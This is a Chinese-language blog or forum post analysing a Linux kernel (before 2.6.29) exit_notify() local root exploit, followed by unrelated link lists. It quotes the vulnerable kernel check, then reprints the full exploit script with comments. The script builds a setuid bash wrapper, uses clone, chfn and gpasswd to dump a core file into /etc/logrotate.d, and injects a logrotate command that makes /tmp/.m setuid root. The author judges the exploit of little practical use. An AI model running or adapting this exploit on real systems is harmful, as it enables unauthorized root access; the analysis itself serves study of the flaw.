author : deep_pro
目前网上的这个exploit(http://www.milw0rm.com/exploits/8369)的分析是有些问题的
(http://forum.eviloctal.com/viewthread.php?tid=34942&pid=154634&page=1&extra=page%3D1#pid154634)
感谢乱雪给我提供了思路,解释了疑问

有问题的内核代码( http://lxr.linux.no/linux+v2.6.29/kernel/exit.c#L951)

if (tsk->exit_signal != SIGCHLD && !task_detached(tsk) &&
     (tsk->parent_exec_id != tsk->real_parent->self_exec_id ||
      tsk->self_exec_id != tsk->parent_exec_id) &&
    !capable(CAP_KILL))

tsk->exit_signal = SIGCHLD;

查看官方的补丁,就是把 capable(CAP_KILL)直接去掉了。

这个函数是判断当前要退出的进程是否有CAP_KILL权能(否能向不属于自己的进程发送信号)。
虽然这个要退出的进程是普通用户创建的,它也可以通过调用一个置有suidroot位的程序,从而临时设置euid=0,fsuid=0,就逃过了检查, capable(CAP_KILL)返回1,从而导致没有将该进程的task_struct的exit_signal置为SIGCHLD。

这个exploit的原理是使一个普通用户在/etc/logrotate.d/目录下生成一个特殊的core文件,然后等待 logrotate去读取这个不正常的core文件,执行里面的shell命令,给另一个程序/tmp/.m加上suidroot位。然后我们直接执行 /tmp/.m就可以得到一个root级的shell了。

exploit作者忽略了一点,就是当/proc/sys/kernel/core_uses_pid为1时,生成的core文件后缀是pid,所以测试exploit前应该首先使用root用户执行
echo "0" > /proc/sys/kernel/core_uses_pid
/sbin/sysctl -w fs.suid_dumpable=1 
这两条命令然后就可以在/etc/logrotate.d/下得到core文件了。

exploit注释
-------------------

#!/bin/sh
#检查/proc/sys/fs/suid_dumpable是否小于1,不小于1就不允许调用了setuid(0)的程序生成core文件
SUIDDUMP=`cat /proc/sys/fs/suid_dumpable`
if [ $SUIDDUMP -lt 1 ]; then echo -e "suid_dumpable=0 - system not vulnerable!\n";exit; fi
if [ -d /etc/logrotate.d ]; then
#检查是否安装有logrotate服务
echo "logrotate installed, that's good!"
else
echo "No logrotate installed, sorry!";exit
fi

echo -e "Compiling the bash setuid() wrapper..."
cat >> /tmp/.m.c << EOF
#include <unistd.h>
#include <sys/types.h>

int main()
{
//setuid(0)用来恢复被置了suidroot位的程序的root权限,写shellcode时很常见的用法。
setuid(0);
//返回一个root级的shell
execl("/bin/bash","[kthreadd]",NULL);
}
EOF

#编译/tmp/.m.c
cc /tmp/.m.c -o /tmp/.m
rm /tmp/.m.c

echo -e "Compiling the exploit code..."

cat >> /tmp/exploit.c << EOF
#include <stdio.h>
#include <sched.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>

int child(void *data)
{
sleep(2);
printf("I'm gonna kill the suidroot father without having root rights :D\n");
//gpasswd被置有suidroot位,这样退出时就逃过了capable(CAP_KILL)检查
execl("/usr/bin/gpasswd","%s",NULL);
exit(0);
}

int main()
{
int stacksize = 4*getpagesize();
void *stack, *stacktop;
stack = malloc(stacksize);
stacktop = stack + stacksize;
chdir("/etc/logrotate.d");
//创建子进程
int p = clone(child, stacktop, CLONE_FILES|SIGSEGV, NULL);
//chfn也被置有suidroot位,但是后面那个长长的字符串不是给chfn的,而是给logrotate准备的
//后面我会详细说明,毕竟这两条语句才是关键
if (p>0) execl("/usr/bin/chfn","\n/tmp/.a\n{\nsize=0\nprerotate\n\tchown root /tmp/.m;chmod u+s /tmp/.m\nendscript\n}\n\n",NULL);
}
EOF

cc /tmp/exploit.c -o /tmp/.ex
rm /tmp/exploit.c

echo -e "Setting coredump limits and running the exploit...\n"
ulimit -c 10000
touch /tmp/.a
//将/tmp/.ex的输出重定向,测试的话直接写/tmp/.ex就可以了
`/tmp/.ex >/dev/null 2>/dev/null`
sleep 5
rm /tmp/.ex
//是否生成了core文件
if [ -e /etc/logrotate.d/core ]; then
echo -e "Successfully coredumped into the logrotate config dir\nNow wait until cron.daily executes logrotate and makes your shell wrapper suid\n"
echo -e "The shell should be located in /tmp/.m - just run /tmp/.m after 24h and you'll be root"
echo -e "\nYour terminal is most probably screwed now, sorry for that..."
exit
fi

echo "The system is not vulnerable, sorry :("----------------------------------------
好了,再把关键地方重点说说,如有错误,还请见谅,已是我目前的最高水平了
int p = clone(child, stacktop, CLONE_FILES|SIGSEGV, NULL);
创建的子进程会逃过CAP_KILL检查,但是只靠这一点错误不足以产生一个段错误从而得到core文件

if (p>0) execl("/usr/bin/chfn","\n/tmp/.a\n{\nsize=0\nprerotate\n\tchown root /tmp/.m;
chmod u+s /tmp/.m\nendscript\n}\n\n",NULL);
chfn也被置有suidroot位,这里父进程也拥有了suidroot权限,等待用户输入密码,然后子进程不正常退出,
然后父进程就产生了一个段错误,两个进程都挂掉了。产生的core文件落在本来没有写权限的 /etc/logrotate.d/
文件夹下。我们来看看这个core文件:
很明显,那个传给chfn的奇怪参数其实是要写入core里的,随便打开/etc/logrotate.d/下的一个文件yum:
/var/log/yum.log {
missingok
notifempty
size 30k
create 0600 root root
}
这个奇怪参数就是为logrotate准备的,希望logrotate执行
chown root /tmp/.m;
chmod u+s /tmp/.m
且不说logrotate是否会从二进制core里执行这一段文本,就是SELinux也会阻止这一行为。

所以这个exploit几乎没有实战价值,这个洞虽然影响范围很广,但是危害不大。

我一直没有理解产生段错误的详细原因,还望高人指点。

[轉]Linux kernel <2.6.29 exit_notify() local root exploit分析(2009-1337)的更多相关文章

  1. Linux kernel perf_swevent_init Local root Exploit

    64位上编译 另外修改了原Exploit的一个错误 第76行 把     uint64_t *p = (void *) ¤t[i]; 改成       uint64_t *p = (void *) & ...

  2. linux kernel 卡在提示信息Waiting for root device /dev/mmcblk0p1...处

    一.背景 1.1 移植linux-4.14内核的过程中,此时使用的是ext4文件系统,并且将根文件系统存储在sd卡的第一个分区上 1.2 内核打印完Waiting for root device /d ...

  3. Linux kernel workqueue机制分析

    Linux kernel workqueue机制分析 在内核编程中,workqueue机制是最常用的异步处理方式.本文主要基于linux kernel 3.10.108的workqueue文档分析其基 ...

  4. Linux kernel workqueue机制分析【转】

    转自:http://www.linuxsir.org/linuxjcjs/15346.html 在内核编程中,workqueue机制是最常用的异步处理方式.本文主要基于linux kernel 3.1 ...

  5. karottc A Simple linux-virus Analysis、Linux Kernel <= 2.6.37 - Local Privilege Escalation、CVE-2010-4258、CVE-2010-3849、CVE-2010-3850

    catalog . 程序功能概述 . 感染文件 . 前置知识 . 获取ROOT权限: Linux Kernel <= - Local Privilege Escalation 1. 程序功能概述 ...

  6. CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC

    /**  * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC  *  * Vitaly Nikolenko  * http://ha ...

  7. [轉]Exploit The Linux Kernel NULL Pointer Dereference

    Exploit The Linux Kernel NULL Pointer Dereference Author: wztHome: http://hi.baidu.com/wzt85date: 20 ...

  8. [轉]Exploit Linux Kernel Slub Overflow

    Exploit Linux Kernel Slub Overflow By wzt 一.前言 最近几年关于kernel exploit的研究比较热门,常见的内核提权漏洞大致可以分为几类: 空指针引用, ...

  9. Linux Kernel 排程機制介紹

    http://loda.hala01.com/2011/12/linux-kernel-%E6%8E%92%E7%A8%8B%E6%A9%9F%E5%88%B6%E4%BB%8B%E7%B4%B9/ ...

随机推荐

  1. Scrapy框架——安装以及新建scrapy文件

    一.安装 conda install Scrapy   :之后在按y 表示允许安装相关的依赖库(下载速度慢的话也可以借助镜像源),安装的前提是安装了anaconda作为python ,   测试scr ...

  2. Linux Kernel中所應用的數據結構及演算法

    Linux Kernel中所應用的數據結構及演算法 Basic Data Structures and Algorithms in the Linux kernel Links are to the  ...

  3. HDU 2815 Mod Tree (扩展 Baby Step Giant Step )

    Mod Tree Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Total Subm ...

  4. Comet OJ - Contest #12

    B 整个表格其实是一些联通块,取反操作不能跨连通块.所以直接统计一下每个连通块内数字不对的个数是不是偶数即可 #include<iostream> #include<cstring& ...

  5. SpringBoot-技术专区-配置文件加密

    工程中的配置文件如果把数据库的用户名密码写成明文的话是一件很危险的事情,之前也看见网上说可以对密码进行加密,用的时候再解密,因此今天我就尝试如何在spring boot 中的项目中实现关键信息的加密解 ...

  6. window.location.search 为何在url 带# 号时获取不到 ?

    我们在获取url参数时,会常常用到截取参数 getUrlParam(name) { const reg = new RegExp('(^|&)' + name + '=([^&]*)( ...

  7. 2018-8-10-WPF-判断USB插拔

    title author date CreateTime categories WPF 判断USB插拔 lindexi 2018-08-10 19:16:53 +0800 2018-8-5 13:0: ...

  8. Steup factory 面板介绍

    2   安装软件信息     注册码  过期时间等一些设置 3 4 5

  9. boost pointer container

    1. boost::ptr_vector #include <boost/ptr_container/ptr_vector.hpp> #include <iostream> i ...

  10. c#处理3种json数据的方式

    原文出处:http://www.jb51.net/article/48027.htm 一.C#处理简单json数据 json数据: {"result":"0", ...